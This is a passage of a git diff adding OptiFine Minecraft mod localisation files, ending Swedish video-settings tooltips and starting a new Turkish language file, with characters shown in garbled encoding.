optimerad renderingsalgoritm som sänker +of.options.FAST_RENDER.tooltip.5=grafikprocessorns läsninghastighet och kan höja +of.options.FAST_RENDER.tooltip.6=bildfrekvensen avsevärt. +of.options.FAST_RENDER.tooltip.7=Detta alternativ kan skapa en konflikt med andra moddar. + +of.options.FAST_MATH=Snabb matematik +of.options.FAST_MATH.tooltip.1=Snabb matematik +of.options.FAST_MATH.tooltip.2= AV - standardmatematik (standard) +of.options.FAST_MATH.tooltip.3= PÃ… - snabbare matematik +of.options.FAST_MATH.tooltip.4=Använder optimerade sin()- och cos()-funktioner som +of.options.FAST_MATH.tooltip.5=kan utnyttja processorcachen mer och höja bild- +of.options.FAST_MATH.tooltip.6=frekvensen. +of.options.FAST_MATH.tooltip.7=Detta alternativ kan pÃ¥verka världsgenereringen minimalt. + +of.options.CHUNK_UPDATES=Datablocksuppdateringar +of.options.CHUNK_UPDATES.tooltip.1=Datablocksuppdateringar +of.options.CHUNK_UPDATES.tooltip.2= 1 - lÃ¥ngsammare inläsning, högre bildfrekv. (standard) +of.options.CHUNK_UPDATES.tooltip.3= 3 - snabbare inläsning, lägre bildfrekvens +of.options.CHUNK_UPDATES.tooltip.4= 5 - snabbast inläsning, lägst bildfrekvens +of.options.CHUNK_UPDATES.tooltip.5=Antalet datablocksuppdateringar per renderad bildruta. +of.options.CHUNK_UPDATES.tooltip.6=Högre värden kan göra bildfrekvensen ostabil. + +of.options.CHUNK_UPDATES_DYNAMIC=Dynamiska uppdateringar +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Dynamiska datablocksuppdateringar +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= AV - standardantal uppdater. per bildruta (standard) +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= PÃ… - fler uppdateringar när spelaren stÃ¥r stilla +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=Dynamiska uppdateringar tvingar fler datablocks- +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=uppdateringar när spelaren stÃ¥r stilla för att läsa in +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.6=världen snabbare. + +of.options.LAZY_CHUNK_LOADING=Slö datablocksinläsning +of.options.LAZY_CHUNK_LOADING.tooltip.1=Slö datablocksinläsning +of.options.LAZY_CHUNK_LOADING.tooltip.2= AV - standardinläsning pÃ¥ servrar +of.options.LAZY_CHUNK_LOADING.tooltip.3= PÃ… - slö datablocksinläsning pÃ¥ servrar (stabilare) +of.options.LAZY_CHUNK_LOADING.tooltip.4=Jämnar ut den integrerade datablocksläsningen för +of.options.LAZY_CHUNK_LOADING.tooltip.5=servern genom att fördela datablock över flera +of.options.LAZY_CHUNK_LOADING.tooltip.6=tickningar. +of.options.LAZY_CHUNK_LOADING.tooltip.7=Inaktivera om delar av världen inte läser in pÃ¥ rätt sätt. +of.options.LAZY_CHUNK_LOADING.tooltip.8=Fungerar bara i lokala världar (enspelarläge). + +of.options.RENDER_REGIONS=RenderingsomrÃ¥den +of.options.RENDER_REGIONS.tooltip.1=RenderingsomrÃ¥den +of.options.RENDER_REGIONS.tooltip.2= AV - använd inte renderingsomrÃ¥den (standard) +of.options.RENDER_REGIONS.tooltip.3= PÃ… - använd renderingsomrÃ¥den +of.options.RENDER_REGIONS.tooltip.4=RenderingsomrÃ¥den gör att terräng renderas snabbare +of.options.RENDER_REGIONS.tooltip.5=vid högre renderingsavstÃ¥nd. Mer effektivt när VBO är +of.options.RENDER_REGIONS.tooltip.6=aktiverat. +of.options.RENDER_REGIONS.tooltip.7=Rekommenderas inte för integrerade grafikkort. + +of.options.SMART_ANIMATIONS=Smarta animeringar +of.options.SMART_ANIMATIONS.tooltip.1=Smarta animeringar +of.options.SMART_ANIMATIONS.tooltip.2= AV - använd inte smarta animeringar (standard) +of.options.SMART_ANIMATIONS.tooltip.3= PÃ… - använd smarta animeringar +of.options.SMART_ANIMATIONS.tooltip.4=Med smarta animeringar kommer spelet endast animera +of.options.SMART_ANIMATIONS.tooltip.5=texturer som för tillfället är synliga pÃ¥ skärmen. +of.options.SMART_ANIMATIONS.tooltip.6=Detta reducerar prestandaproblem och höjer bild- +of.options.SMART_ANIMATIONS.tooltip.7=frekvensen. Speciellt användbart för stora modpaket +of.options.SMART_ANIMATIONS.tooltip.8=och resurspaket i HD. + +# Animations + +of.options.animation.allOn=Allt PÃ… +of.options.animation.allOff=Allt AV +of.options.animation.dynamic=Dynamiskt + +of.options.ANIMATED_WATER=Animerat vatten +of.options.ANIMATED_LAVA=Animerad lava +of.options.ANIMATED_FIRE=Animerad eld +of.options.ANIMATED_PORTAL=Animerade portaler +of.options.ANIMATED_REDSTONE=Animerad redstone +of.options.ANIMATED_EXPLOSION=Animerade explosioner +of.options.ANIMATED_FLAME=Animerade eldflammor +of.options.ANIMATED_SMOKE=Animerad rök +of.options.VOID_PARTICLES=Voidpartiklar +of.options.WATER_PARTICLES=Vattenpartiklar +of.options.RAIN_SPLASH=Regnstänk +of.options.PORTAL_PARTICLES=Portalpartiklar +of.options.POTION_PARTICLES=Brygdpartiklar +of.options.DRIPPING_WATER_LAVA=Droppande vatten/lava +of.options.ANIMATED_TERRAIN=Animerad terräng +of.options.ANIMATED_TEXTURES=Animerade texturer +of.options.FIREWORK_PARTICLES=Fyrverkeripartiklar + +# Other + +of.options.LAGOMETER=Laggmätare +of.options.LAGOMETER.tooltip.1=Visar laggmätaren pÃ¥ felsökningsskärmen (F3). +of.options.LAGOMETER.tooltip.2= * Orange - Minnesskräpsamling +of.options.LAGOMETER.tooltip.3= * Turkos - Antal tickningar +of.options.LAGOMETER.tooltip.4= * BlÃ¥ - Schemalagda körningar +of.options.LAGOMETER.tooltip.5= * Lila - Datablocksuppladdningar +of.options.LAGOMETER.tooltip.6= * Röd - Datablocksuppdateringar +of.options.LAGOMETER.tooltip.7= * Gul - Synlighetskontroller +of.options.LAGOMETER.tooltip.8= * Grön - Terrängrendering + +of.options.PROFILER=Felsökningsprofilering +of.options.PROFILER.tooltip.1=Felsökningsprofilering +of.options.PROFILER.tooltip.2= PÃ… - felsökningsprofileringen är igÃ¥ng, lÃ¥ngsammare +of.options.PROFILER.tooltip.3= AV - felsökningsprofileringen är inte igÃ¥ng, snabbare +of.options.PROFILER.tooltip.4=Felsökningsprofileringen samlar in och visar felsöknings- +of.options.PROFILER.tooltip.5=information när felsökningsskärmen är öppen (F3). + +of.options.WEATHER=Väder +of.options.WEATHER.tooltip.1=Väder +of.options.WEATHER.tooltip.2= PÃ… - väder är aktiverat, lÃ¥ngsammare +of.options.WEATHER.tooltip.3= AV - väder är inaktiverat, snabbare +of.options.WEATHER.tooltip.4=Denna inställning omfattar regn, snö och Ã¥ska. +of.options.WEATHER.tooltip.5=Detta fungerar bara i lokala världar. + +of.options.time.dayOnly=Endast dag +of.options.time.nightOnly=Endast natt + +of.options.TIME=Tid +of.options.TIME.tooltip.1=Tid +of.options.TIME.tooltip.2= Standard - vanliga dag-/nattcykler +of.options.TIME.tooltip.3= Endast dag - dag hela tiden +of.options.TIME.tooltip.4= Endast natt - natt hela tiden +of.options.TIME.tooltip.5=Tidsinställningen fungerar endast i KREATIVT läge och +of.options.TIME.tooltip.6=för lokala världar. + +options.fullscreen.tooltip.1=Fullskärm +options.fullscreen.tooltip.2= PÃ… - använd fullskärmsläge +options.fullscreen.tooltip.3= AV - använd fönsterläge +options.fullscreen.tooltip.4=Fullskärmsläge kan vara snabbare eller lÃ¥ngsammare än +options.fullscreen.tooltip.5=fönsterläge beroende pÃ¥ grafikkortet. + +options.fullscreen.resolution=Fullskärmsläge +options.fullscreen.resolution.tooltip.1=Fullskärmsläge +options.fullscreen.resolution.tooltip.2= Standard - använd datorns upplösning, lÃ¥ngsammare +options.fullscreen.resolution.tooltip.3= BxH - använd anpassad upplösning, kan vara snabbare +options.fullscreen.resolution.tooltip.4=Den valda upplösningen används i fullskärmsläge (F11). +options.fullscreen.resolution.tooltip.5=Lägre upplösningar bör vanligtvis vara snabbare. + +of.options.SHOW_FPS=Visa bildfrekvens +of.options.SHOW_FPS.tooltip.1=Visar kort information om bildfrekvens och rendering. +of.options.SHOW_FPS.tooltip.2= fps - bildfrekvensens medelvärde/minimum +of.options.SHOW_FPS.tooltip.3= C: - antal datablocksrenderingar +of.options.SHOW_FPS.tooltip.4= E: - antal renderade entiteter + blockentiteter +of.options.SHOW_FPS.tooltip.5= U: - antal datablocksuppdateringar +of.options.SHOW_FPS.tooltip.6=Informationen visas endast när felsökningsskärmen (F3) +of.options.SHOW_FPS.tooltip.7=inte är öppen. + +of.options.save.45s=45 s +of.options.save.90s=90 s +of.options.save.3min=3 min +of.options.save.6min=6 min +of.options.save.12min=12 min +of.options.save.24min=24 min + +of.options.AUTOSAVE_TICKS=Automatisk sparning +of.options.AUTOSAVE_TICKS.tooltip.1=Intervall för automatisk sparning. +of.options.AUTOSAVE_TICKS.tooltip.2= 45 s - standard +of.options.AUTOSAVE_TICKS.tooltip.3=Automatisk sparning kan orsaka prestandaproblem +of.options.AUTOSAVE_TICKS.tooltip.4=beroende pÃ¥ det synliga avstÃ¥ndet. +of.options.AUTOSAVE_TICKS.tooltip.5=Världen sparas även när spelmenyn är öppen. + +of.options.SCREENSHOT_SIZE=Stl. pÃ¥ skärmdump +of.options.SCREENSHOT_SIZE.tooltip.1=Storlek pÃ¥ skärmdump +of.options.SCREENSHOT_SIZE.tooltip.2= Standard - standardstorlek pÃ¥ skärmdumpar +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - anpassad storlek pÃ¥ skärmdumpar +of.options.SCREENSHOT_SIZE.tooltip.4=Större skärmdumpar kan kräva mer minne. +of.options.SCREENSHOT_SIZE.tooltip.5=Inte kompatibelt med Snabb rendering och Kantutjämning. +of.options.SCREENSHOT_SIZE.tooltip.6=Kräver att grafikprocessorn har stöd för framebuffer. + +of.options.SHOW_GL_ERRORS=Visa OpenGL-fel +of.options.SHOW_GL_ERRORS.tooltip.1=Visa OpenGL-fel +of.options.SHOW_GL_ERRORS.tooltip.2=OpenGL-fel visas i chatten när detta aktiveras. +of.options.SHOW_GL_ERRORS.tooltip.3=Inaktivera endast detta om det finns en känd konflikt och +of.options.SHOW_GL_ERRORS.tooltip.4=felen inte kan Ã¥tgärdas. +of.options.SHOW_GL_ERRORS.tooltip.5=När detta inaktiveras kommer felen fortfarande +of.options.SHOW_GL_ERRORS.tooltip.6=registreras i felloggen och kan fortfarande orsaka att +of.options.SHOW_GL_ERRORS.tooltip.7=bildfrekvensen sjunker avsevärt. + +# Chat Settings +of.options.CHAT_BACKGROUND=Chattbakgrund +of.options.CHAT_BACKGROUND.tooltip.1=Chattbakgrund +of.options.CHAT_BACKGROUND.tooltip.2= Standard - fast bredd +of.options.CHAT_BACKGROUND.tooltip.3= Kompakt - anpassas till radbredd +of.options.CHAT_BACKGROUND.tooltip.4= AV - dold + +of.options.CHAT_SHADOW=Chattskugga +of.options.CHAT_SHADOW.tooltip.1=Chattskugga +of.options.CHAT_SHADOW.tooltip.2= PÃ… - använd textskugga +of.options.CHAT_SHADOW.tooltip.3= AV - ingen textskugga diff --git a/src/assets/minecraft/optifine/lang/tr_tr.lang b/src/assets/minecraft/optifine/lang/tr_tr.lang new file mode 100644 index 00000000..77537a60 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/tr_tr.lang @@ -0,0 +1,760 @@ +# General +of.general.ambiguous=Görkemli +of.general.compact=Sıkışık +of.general.custom=Özel +of.general.from=den +of.general.id=Id +of.general.max=Maksimum +of.general.restart=Yeniden BaÅŸlat +of.general.smart=Düzgün + +# Keys +of.key.zoom=YakınlaÅŸtır + +# Message +of.message.aa.shaders1=DüzgünleÅŸtirme shader ile uyumlu deÄŸildir. +of.message.aa.shaders2=Bu ayarı açmak için lütfen shader kapatın. + +of.message.af.shaders1=Anizotropik filtreleme shaderlerle uyumlu deÄŸildir. +of.message.af.shaders2=Bu ayarı açmak için lütfen shader kapatın. + +of.message.fr.shaders1=Hızlı yükleme shader ile uyumlu deÄŸildir. +of.message.fr.shaders2=Bu ayarı açmak için lütfen shader kapatın. + +of.message.an.shaders1=3D shaderlerle uyumlu deÄŸildir. +of.message.an.shaders2=Bu ayarı açmak için lütfen shader kapatın. + +of.message.shaders.aa1=Shaderler DüzgünleÅŸtirme ile uyumlu deÄŸildir. +of.message.shaders.aa2=Lütfen Kalite -> DüzgünleÅŸtirmeyi kapatarak oyunu yeniden baÅŸlatın. + +of.message.shaders.af1=Anizotropik filtreleme shaderler ile uyumlu deÄŸildir. +of.message.shaders.af2=Lütfen Kalite -> Anizotropik filtreleme'yi kapatın. + +of.message.shaders.fr1=Shaderler hızlı yükleme ile uyumlu deÄŸildir. +of.message.shaders.fr2=Lütfen Performans -> Hızlı Yüklemeyi kapatın. + +of.message.shaders.an1=3D shaderlerle uyumlu deÄŸildir. +of.message.shaders.an2=Lütfen DiÄŸer -> 3D'yi kapatın. + +of.message.shaders.nv1=Bu shader paketi ileri versiyon bir optifine gerektirir: %s +of.message.shaders.nv2=Devam etmek istermisiniz? + +of.message.newVersion=Yeni bir §eOptiFine§f versiyonu bulunmakta: §e%s§f +of.message.java64Bit=§e64-bit Java§f yüklemek performansınızı arttırabilir. +of.message.openglError=§eOpenGL Hatası§f: %s (%s) + +of.message.shaders.loading=Shaderler yükleniyor: %s + +of.message.other.reset=Bütün görüntü ayarlarını reserlemek istediÄŸine emin misin? + +of.message.loadingVisibleChunks=Görünen chunkları yükler + +# Skin customization + +of.options.skinCustomisation.ofCape=OptiFine Pelerini... + +of.options.capeOF.title=OptiFine Pelerin +of.options.capeOF.openEditor=Pelerin Düzenleyiciyi Aç +of.options.capeOF.reloadCape=Pelerini Yenile + +of.message.capeOF.openEditor=Optifine pelerin düzenleyici web sayfa üzerinde açılacak. +of.message.capeOF.reloadCape=Pelerin 15 saniye içinde yenilenecek. + +of.message.capeOF.error1=Mojang GiriÅŸi Yapılamadı. Oyunu yeniden baÅŸlatmayı deneyin. +of.message.capeOF.error2=Hata: %s + +# Video settings + +options.graphics.tooltip.1=Görüntü kalitesi +options.graphics.tooltip.2= Hızlı - düşük kalite, hızlı oyun deneyimi +options.graphics.tooltip.3= Efsane - yüksek kalite, yavaÅŸ oyun deneyimi +options.graphics.tooltip.4=Ayarlar bulutlar, yapraklar, suya +options.graphics.tooltip.5=gölgeler ve çim yüzerlerine etki edecektir. + +of.options.renderDistance.tiny=Düşük +of.options.renderDistance.short=Kısa +of.options.renderDistance.normal=Normal +of.options.renderDistance.far=Uzak +of.options.renderDistance.extreme=Yüksek +of.options.renderDistance.insane=Efsane +of.options.renderDistance.ludicrous=OlaÄŸanüstü + +options.renderDistance.tooltip.1=Görüş uzaklığı +options.renderDistance.tooltip.2= 2 Düşük - 32m (en hızlı) +options.renderDistance.tooltip.3= 8 Normal - 128m (varsayılan) +options.renderDistance.tooltip.4= 16 Uzak - 256m (daha yavaÅŸ) +options.renderDistance.tooltip.5= 32 Yüksek - 512m (çok yavaÅŸ!) çok kaynak tüketir +options.renderDistance.tooltip.6= 48 Efsane - 768m, min 2G ram verilmiÅŸ olması gerekir +options.renderDistance.tooltip.7= 64 OlaÄŸanüstü - 1024m, minimum 3 g ram gerektirir +options.renderDistance.tooltip.8=16 üstündeki deÄŸerler sadece tek oyunculuda geçerlidir. + +options.ao.tooltip.1=Gerçekçi aydınlatma +options.ao.tooltip.2= Kapalı - Gerçekçi aydınlatma kapalı (hızlı) +options.ao.tooltip.3= Düşük - orta seviye gerçekçi aydınlatma (varsayılan) +options.ao.tooltip.4= Yüksek - tamamen gerçekçi aydınlatma (yavaÅŸ) + +options.framerateLimit.tooltip.1=Maksimum FPS +options.framerateLimit.tooltip.2= VSync - Ekranın alabilmesi gereken max fpse sabitler (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - diÄŸer deÄŸerler +options.framerateLimit.tooltip.4= Sınırsız - sınır yok (en hızlı) +options.framerateLimit.tooltip.5=FPS limiti eÄŸer ulaşılamaz ise +options.framerateLimit.tooltip.6=azaltılmalıdır. +of.options.framerateLimit.vsync=Veri Senkronizasyonu + +of.options.AO_LEVEL=Pürüzsüz aydınlatma seviyesi +of.options.AO_LEVEL.tooltip.1=Pürüzsüz aydınlatma seviyesi +of.options.AO_LEVEL.tooltip.2= Kapalı - gölge yok +of.options.AO_LEVEL.tooltip.3= 50%% - Hafif gölge +of.options.AO_LEVEL.tooltip.4= 100%% - Gerçekçi gölgeler + +options.viewBobbing.tooltip.1=Daha gerçekçi hareketler +options.viewBobbing.tooltip.2=Mipmaplar kullanılırken kapatılması en iyi sonuçları verir. + +options.guiScale.tooltip.1=Menü boyutu +options.guiScale.tooltip.2= OTO - Otomatik belirler +options.guiScale.tooltip.3= Küçük, normal, büyük, - 1x ile 3x arası +options.guiScale.tooltip.4= 4x ile 10x arası - yanlızca 4K varken mümkündür. +options.guiScale.tooltip.5=Tek sayılar (1x, 3x, 5x ...) Unicode ile uyumlu deÄŸildir. +options.guiScale.tooltip.6=Küçük menüler oyunu hızlandırabilir. + +options.vbo=VBO'ları Kullan +options.vbo.tooltip.1=Vertex Buffer Varlıklar +options.vbo.tooltip.2=Farklı bir render modeli kullanılır. +options.vbo.tooltip.3=%5-%10 arası bir hızlanma söz konusudur. + +options.gamma.tooltip.1=Ekran parlaklığını deÄŸiÅŸtirir +options.gamma.tooltip.2= Karanlık - Standart parlaklık +options.gamma.tooltip.3= 1-99% - ayarlanabilinir +options.gamma.tooltip.4= Bright - Maksimum parlaklık +options.gamma.tooltip.5=Bu ayar tamamen siyah objeleri +options.gamma.tooltip.6=görünümde deÄŸiÅŸtirmez. + +options.anaglyph.tooltip.1=3D Görünüm +options.anaglyph.tooltip.2=3D efektleri özel renkler olarak +options.anaglyph.tooltip.3=her göze verir. +options.anaglyph.tooltip.4=Kırmızı-mavi 3D gözlük gerektirir. + +options.attackIndicator.tooltip.1=Saldırı göstergecinin yerini deÄŸiÅŸtirir. +options.attackIndicator.tooltip.2= Crosshair - Crosshairin altında +options.attackIndicator.tooltip.3= Envanter - Envanterin yanında +options.attackIndicator.tooltip.4= Kapalı - Saldırı göstergeci yok +options.attackIndicator.tooltip.5=Saldırı göstergeci ele alınan silahın +options.attackIndicator.tooltip.6=saldırı gücünü gösterir. + +of.options.ALTERNATE_BLOCKS=Alternatif bloklar +of.options.ALTERNATE_BLOCKS.tooltip.1=Alternatif Bloklar +of.options.ALTERNATE_BLOCKS.tooltip.2=Bazı bloklar için alternatif blok türleri kullanır. +of.options.ALTERNATE_BLOCKS.tooltip.3=Seçilen resource packe göre deÄŸiÅŸir. + +of.options.FOG_FANCY=Sis +of.options.FOG_FANCY.tooltip.1=Sis çeÅŸitleri +of.options.FOG_FANCY.tooltip.2= Hızlı - Hızlı oyun deneyimi +of.options.FOG_FANCY.tooltip.3= Kaliteli - yavaÅŸ sis, daha iyi görüntü. +of.options.FOG_FANCY.tooltip.4= Kapalı - sis yok, en hızlı. +of.options.FOG_FANCY.tooltip.5=Kaliteli sis sadece ekran kartı +of.options.FOG_FANCY.tooltip.6=destek verirse çalışır. + +of.options.FOG_START=Sis baÅŸlangıcı +of.options.FOG_START.tooltip.1=Sis BaÅŸlangıcı +of.options.FOG_START.tooltip.2= 0.2 - Sis oyuncunun yakınından baÅŸlar +of.options.FOG_START.tooltip.3= 0.8 - sis oyununcunun daha uzağından baÅŸlar +of.options.FOG_START.tooltip.4=Bu ayar performansı etkilemez. + +of.options.CHUNK_LOADING=arazi Yüklenmesi +of.options.CHUNK_LOADING.tooltip.1=arazi Loading +of.options.CHUNK_LOADING.tooltip.2= Normal - Chunklar yüklenirken FPS deÄŸiÅŸkendir. +of.options.CHUNK_LOADING.tooltip.3= Düşük - sabit FPS +of.options.CHUNK_LOADING.tooltip.4= Çok-Çekirdekli - stabil fps, 3x hızlı dünya yükleme +of.options.CHUNK_LOADING.tooltip.5=Smooth ve Çok-çekirdek arazi yüklemeleri arazi +of.options.CHUNK_LOADING.tooltip.6=yüklenmesinden dolayı oluÅŸan kasmayı azaltır. +of.options.CHUNK_LOADING.tooltip.7=Çok-Çekirdek Fps ve Dünya yüklenmesini +of.options.CHUNK_LOADING.tooltip.8=ikinci CPU yu kullanarak 3 kat arttırır +of.options.chunkLoading.smooth=Düşük +of.options.chunkLoading.multiCore=Çok-Çekirdek + +of.options.shaders=Gölgeler... +of.options.shadersTitle=Gölgeler + +of.options.shaders.packNone=Kapalı +of.options.shaders.packDefault=(varsayılan) + +of.options.shaders.ANTIALIASING=DüzgünleÅŸtirme +of.options.shaders.ANTIALIASING.tooltip.1=DüzgünleÅŸtirme +of.options.shaders.ANTIALIASING.tooltip.2= Kapalı - (varsayılan) DüzgünleÅŸtime kapalı (en hızlı) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - çizgive köşeleri düzgünleÅŸtirir (yavaÅŸ) +of.options.shaders.ANTIALIASING.tooltip.4=FXAA, pürüzlü hatları ve keskin renk +of.options.shaders.ANTIALIASING.tooltip.5=geçiÅŸlerini düzelten bir efekttir. +of.options.shaders.ANTIALIASING.tooltip.6=Normal düzgünleÅŸtirmeden hızlıdır. +of.options.shaders.ANTIALIASING.tooltip.7=ayrıca hızlı render ve shaderlede uyumludur. +of.options.shaders.NORMAL_MAP=Normal Harita +of.options.shaders.NORMAL_MAP.tooltip.1=Normal Harita +of.options.shaders.NORMAL_MAP.tooltip.2= Açık - (varsayılan) normal haritaları aktif eder. +of.options.shaders.NORMAL_MAP.tooltip.3= Kapalı - normal haritaları kapatır. +of.options.shaders.NORMAL_MAP.tooltip.4=Normal haritalar resource packlerde +of.options.shaders.NORMAL_MAP.tooltip.5=3D geometriyi haritaya geçirmekte kullanılabilinir. +of.options.shaders.NORMAL_MAP.tooltip.6=Normal haritalar yanlızca minecraftın temel +of.options.shaders.NORMAL_MAP.tooltip.7=texturelerini kullanır + +of.options.shaders.SPECULAR_MAP=Speküler Harita +of.options.shaders.SPECULAR_MAP.tooltip.1=Speküler Harita +of.options.shaders.SPECULAR_MAP.tooltip.2= AÇIK - (varsayılan) speküler haritayı aç +of.options.shaders.SPECULAR_MAP.tooltip.3= KAPALI - speküler haritayı kapat +of.options.shaders.SPECULAR_MAP.tooltip.4=Speküler haritalar shader paketleri tarafından +of.options.shaders.SPECULAR_MAP.tooltip.5=özel yansıma efektlerini konrol etmekte kullanılır. +of.options.shaders.SPECULAR_MAP.tooltip.6=Speküler harita dokular mevcut doku paketini +of.options.shaders.SPECULAR_MAP.tooltip.7=kullanır + +of.options.shaders.RENDER_RES_MUL=OluÅŸturma Kalitesi +of.options.shaders.RENDER_RES_MUL.tooltip.1=OluÅŸturma Kalitesi +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - düşük (en hızlı) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - standart (varsayılan) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - yüksek (en yavaÅŸ) +of.options.shaders.RENDER_RES_MUL.tooltip.5=OluÅŸturma kalitesi shaderlerin oluÅŸturduÄŸu +of.options.shaders.RENDER_RES_MUL.tooltip.6= dokunun büyüklüğünü kontrol eder. +of.options.shaders.RENDER_RES_MUL.tooltip.5=Render kalitesi dokunun büyüklüğünü kontrol eder +of.options.shaders.RENDER_RES_MUL.tooltip.6=bu shader paketi de oluÅŸturuluyor +of.options.shaders.RENDER_RES_MUL.tooltip.7=Düşük ayarlar 4K ekranlarda kullanışlı olabilir +of.options.shaders.RENDER_RES_MUL.tooltip.8=Yüksek ayarlar düzgünleÅŸtirme filtresi olarak görev yapar. + +of.options.shaders.SHADOW_RES_MUL=Gölge Kalitesi +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Gölge Kalitesi +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - düşük (en hızlı) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - standart (varsayılan) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - yüksek (en yavaÅŸ) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=Gölge kalitesi gölgelerin pixelli görünmesini kontrol eder. +of.options.shaders.SHADOW_RES_MUL.tooltip.6=Shader paketlerinde kullanılır. +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Düşük ayarlar = pikselli ve kalın gölgeler +of.options.shaders.SHADOW_RES_MUL.tooltip.8=Yüksek ayarlar = detaylı, ince gölgeler + +of.options.shaders.HAND_DEPTH_MUL=El DerinliÄŸi +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=El DerinliÄŸi +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - el kameraya yakın +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (varsayılan) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - el kameraya uzak +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=El derinliÄŸi kontrolleri eldeki objelerin +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=kameradan ne kadar uzakta olduÄŸunu kontrol eder. +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=Derinlik bulanıklığını kullanan shader paketlerinde +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=elde taşınan nesnenin bulanıklığını deÄŸiÅŸtirir. + +of.options.shaders.CLOUD_SHADOW=Bulut Gölgeleri + +of.options.shaders.OLD_HAND_LIGHT=Elden Işıklandırma +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=El Işıklandırması +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Normal - shader paketi kontrol eder +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= AÇIK - Elden Işıklandırmayı açar. +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= KAPALI - Elden Işıklandırmayı kapatır. +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=El ışıklandırması shader paketlerinde sadece +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=ana eldeki ışık veren malzemelerin ışık vermesini +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=saÄŸlarken öteki eldede aynı olayın gerçekleÅŸmesine olanak saÄŸlar. + +of.options.shaders.OLD_LIGHTING=Eski Aydınlatma +of.options.shaders.OLD_LIGHTING.tooltip.1=Eski Aydınlatma Modeli +of.options.shaders.OLD_LIGHTING.tooltip.2= Normal - shader paketi kontrol eder. +of.options.shaders.OLD_LIGHTING.tooltip.3= Açık - eski ışıklandırmayı kullan +of.options.shaders.OLD_LIGHTING.tooltip.4= Kapalı - eski ışıklandırmayı kapat +of.options.shaders.OLD_LIGHTING.tooltip.5=Eski ışıklandırma vanilladaki blokların normal +of.options.shaders.OLD_LIGHTING.tooltip.6=ışıklandırmasını düzeltmede kullanılır. +of.options.shaders.OLD_LIGHTING.tooltip.7=Shader paketleri genelde bu ayardan daha iyi ÅŸekilde +of.options.shaders.OLD_LIGHTING.tooltip.8=güneÅŸin pozisyonuna göre gölgeleme saÄŸlar. + +of.options.shaders.DOWNLOAD=Shader indir +of.options.shaders.DOWNLOAD.tooltip.1=Shader indir +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=Shader paketlerini bir sayfada açar. +of.options.shaders.DOWNLOAD.tooltip.4=Ä°ndirdiÄŸin dosyayı "Shader dosyasına" kopyala. +of.options.shaders.DOWNLOAD.tooltip.5=sonrasında shader listesinde gözükmesi gerekli. + +of.options.shaders.SHADER_PACK=Shader Paketleri + +of.options.shaders.shadersFolder=Shader dosyası +of.options.shaders.shaderOptions=Shader Ayarları... + +of.options.shaderOptionsTitle=Shader Ayarları + +of.options.quality=Kalite... +of.options.qualityTitle=Kalite Ayarları + +of.options.details=Detaylar... +of.options.detailsTitle=Detay Ayarları + +of.options.performance=Performans... +of.options.performanceTitle=Performans Ayarları + +of.options.animations=Animasyonlar... +of.options.animationsTitle=Animasyon Ayarları + +of.options.other=DiÄŸer... +of.options.otherTitle=DiÄŸer Ayarlar + +of.options.other.reset=Video Ayarlarını Sıfırla... + +of.shaders.profile=Profil + +# Quality + +of.options.mipmap.bilinear=Çifter +of.options.mipmap.linear=Dikey +of.options.mipmap.nearest=En yakın +of.options.mipmap.trilinear=Üçlü + +options.mipmapLevels.tooltip.1=Görünümsel efektler uzaktaki varlıkların görünüşünü +options.mipmapLevels.tooltip.2=görünüm detaylarını gizleyerek güzelleÅŸtirir. +options.mipmapLevels.tooltip.3= Kapalı - Gölgelendirme yok +options.mipmapLevels.tooltip.4= 1 - minimum gölgelendirme +options.mipmapLevels.tooltip.5= 4 - maksimum gölgelendirme +options.mipmapLevels.tooltip.6=Bu ayarlar genelde performansı etkilemez. + +of.options.MIPMAP_TYPE=Mipmap Tipleri +of.options.MIPMAP_TYPE.tooltip.1=Görünümsel efektler uzakdaki varlıkların görüntüsünü +of.options.MIPMAP_TYPE.tooltip.2=sisleme oluÅŸturarak güzelleÅŸtirir. +of.options.MIPMAP_TYPE.tooltip.3= Tekli - kötü sislendirme (hızlı) +of.options.MIPMAP_TYPE.tooltip.4= Ä°kili - normal sislendirme +of.options.MIPMAP_TYPE.tooltip.5= Üçlü - iyi sislendirme +of.options.MIPMAP_TYPE.tooltip.6= Çoklu - en iyi sislendirme (yavaÅŸ) + + +of.options.AA_LEVEL=DüzgünleÅŸtirme +of.options.AA_LEVEL.tooltip.1=DüzgünleÅŸtime +of.options.AA_LEVEL.tooltip.2= KAPALI - (varsayılan) DüzgünleÅŸtirme kapalı (en hızlı) +of.options.AA_LEVEL.tooltip.3= 2-16 - Köşe ve kenarları düzgünleÅŸtirir (daha yavaÅŸ) +of.options.AA_LEVEL.tooltip.4=DüzgünleÅŸtime bozuk kenarları ve +of.options.AA_LEVEL.tooltip.5=ani 